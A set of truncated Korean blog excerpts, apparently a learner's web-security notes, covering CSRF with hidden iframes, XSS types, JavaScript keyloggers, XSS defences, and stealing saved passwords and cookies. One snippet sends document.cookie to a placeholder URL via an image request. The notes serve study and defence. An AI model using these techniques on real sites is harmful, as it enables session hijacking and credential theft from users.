CSRF(Cross Site Request Forgery, 요청위조) : 피해자의 세션을 활용하여 피해자 모르게 피해자가 요청을 하도록 하는것. 요청을 보내는 어느곳이든 발생이 가능하다. 그 위험도의 차이만 있을 뿐이다. 민감한 요청의 예시는 아래와 같은 곳이 있다 ex) 비밀번호 변경, 이메일 주소 변경, 관리자 계정 등록... CSRF 취약점 확인 1) Method가 GET인지, 아니면 GET으로 바꿀 경우 정사적으로 요청이 처리되는지 확인. -> URL을 이용한 CSRF사용 가능 2) GET으로 요청의 처리가 이루어지지 않을 경우 XSS취약점을 활용 //보이지 않는 iframe창을 띄움 //타겟으로 stealthframe으로 지정 //버튼을 누를 필요가 없음. 위 코드와 같이 iframe으로 보이지..
XSS(Cross Site Scripting) 정의 클라이언트 측 코드를 삽입하는 공격으로 피해자의 컴퓨터(웹 브라우저)에서 실행된다. XSS시나리오 예시 서버 탈취용 서버에 데이터를 포함한 요청을 보내는 방식으로 사용 가능. //예시 var cookie = document.cookie; var img = new Image(); img.src = "URL?cookie=" + cookie; 만약 script태그를 사용 못할경우 Event Hendler를 통해 같은 역할이 가능 //예시 1) Stord XSS : 서버에 저장하는 방법 댓글이난 게시글과 같이 작성자가 입력한 값을 저장하는 곳에서 발생 가능. 장점 : 그 사이트에 접근하는 모두에게 공격이 가능 단점 : 특정 사용자를 목표로 하기 쉽지 않음, 저..
일반적으로 요청을 보내게 되면 요청을 전달하는 곳으로 페이지가 이동이 된다. CSRF공격시에 피해자의 세션을 이용하여 요청을 전달하게 되는데 이때 페이지가 원치 않는곳으로 이동하게 되면 피해자가 눈치 챌 가능성이 있다.이를 막기 위한 방법으로 iframe태그를 이용하여 새로운 창을 삽입하고 그 창을 보이지 않게 한 다음 그 창을 통해서 요청을 보내게 된다. 예시 코드는 아래와 같다. //보이지 않는 iframe창을 띄움//iframe(hiddenwindow)으로 요청을 전송하도록 함. //전송이 바로 이루어짐하지만 이 방법을 보다보니 이벤트 핸들러를 통해 버튼을 누르고 JS코드를 통해서 전송만 할 수 있도록 하고 페이지 이동을 막는법을 생각해보았다.생각해낸 방법은 form의 데이터를 가져와 요청을 바로 ..
키로거는 컴퓨터 또는 모바일장치에서 사용자의 키입력을 기록하는 소프트웨어나 하드웨어를 말한다. 키로거는 운영체제 레벨에서 작성하거나 악성 소프트웨어 등으로 숨겨진 상태로 실행 될 수도 있다. 사용자의 키보드 사용 즉, 입력이 발생하게 되면 어떠한 형태로든 저장/전송한다. 하드웨어 키로거 컴퓨터 키보드나 usb포트와 연결되어 실제 키 입력을 기록하게 된다. 이러한 하드웨어는 외부에서는 발견하기 힘들며 주로 사전에 접근한 사용자에 의해 설치되는 경우가 많다. 소프트웨어 키로거 소프트웨어 키로거는 이름대로 소프트웨어로 사용자의 컴퓨터나 모바일장치등에 침투해 사용자의 키보드 사용시 입력한 키를 기록한다. JS를 통하여 작성한 키로거는 웹에서 사용이 가능하다. 이때 이벤트 핸들러를 통하여 키의 입력을 판단하고 그..
XSS를 대비하기 위한 방법위험한 문자 변환XSS공격을 위해서는 프폰트엔드 언어를 사용하게 된다. 그렇기 대문에 이를 막기 위해서 위험한 문자를 차단 할 필요가 잇다. 위험한 문자로는 대표적으로 태그문자인 등이 있다. 이러한 문자는 HTML 예약어로 이루어진 문자셋인 HTML entitiy를 사용한다. 예시는 다음과 같다.<p>위 문자가 들어가게 되면 우리는 라고 보이게 되지만 실제로 p태그가 실행되지는 않는다. php에서는 htmlspecialchar() 함수를 통해 HTML 엔터티로 변환 가능 White List 기반 필터링만약 HTML태그 사용을 허용해야 할 경우에 특정 태그만을 허용할 수 있다. 이 경우 사용 가능한 태그만으로 공격해야 하기 때문에 확률이 훨씬 낮아진다. CSP(Con..
1. 비밀번호 저장기능 악용 위 코드는 input으로 입력창을 만들고 onchange로 입력값의 길이가 바뀌게되면 fatch 함수가 실행되도록 하였다. fatch 내용은 다음과 같다. attack url로 전송post 전송 Cross-Origin Resource Sharing (CORS)을 비활성화body에 username과 this(password)값을 포함 CORS는 웹 애플리케이션이 다른 도메인의 자원을 요청할 때, 보안상의 이유로 브라우저에서 제한하는 기능. 이는 웹 애플리케이션에서 다른 도메인에서 가져온 데이터를 사용할 수 없게하는데, 이를 우회하려는 목적으로 "no-cors" 모드를 사용할 수 있다. 2. 쿠키 탈취 위 코드 또한 fatch api를 활용하였으며 쿠키를 포함하여 보내고 있다. ..
XSS(Cross-Site Scripting) 공격자가 악성 코드(클라이언트 측 코드)를 다른 사용자가 볼 수 있는 웹 페이지에 삽입하는 것. 피공격자의 브라우저에서 실행 가능. => 이를 통하여 공격자가 원하는 정보를 탈취하거나 피공격자의 브라우저의 제어가 가능(세션 탈취 ) XSS 유형 Stored XSS 공격자가 악성스크립트를 서버에 저장 -> 서버의 응답에 XSS가 포함됨. ex) 게시판에 악성 스크립트 게시시 해당 게시글을 읽는 모든 사용자에게 노출 다음 게시글을 작성 후 저장시 이 글을 읽는 모든 사용자는 다음 스크립트가 실행됨 Reflected XSS 악성스크립트가 URL에 삽입 -> 서버의 응답에 XSS가 포함됨. 서버가 악성스크립트가 담긴 요청 출력시 발생. 공격자는 해당 URL을 유도함..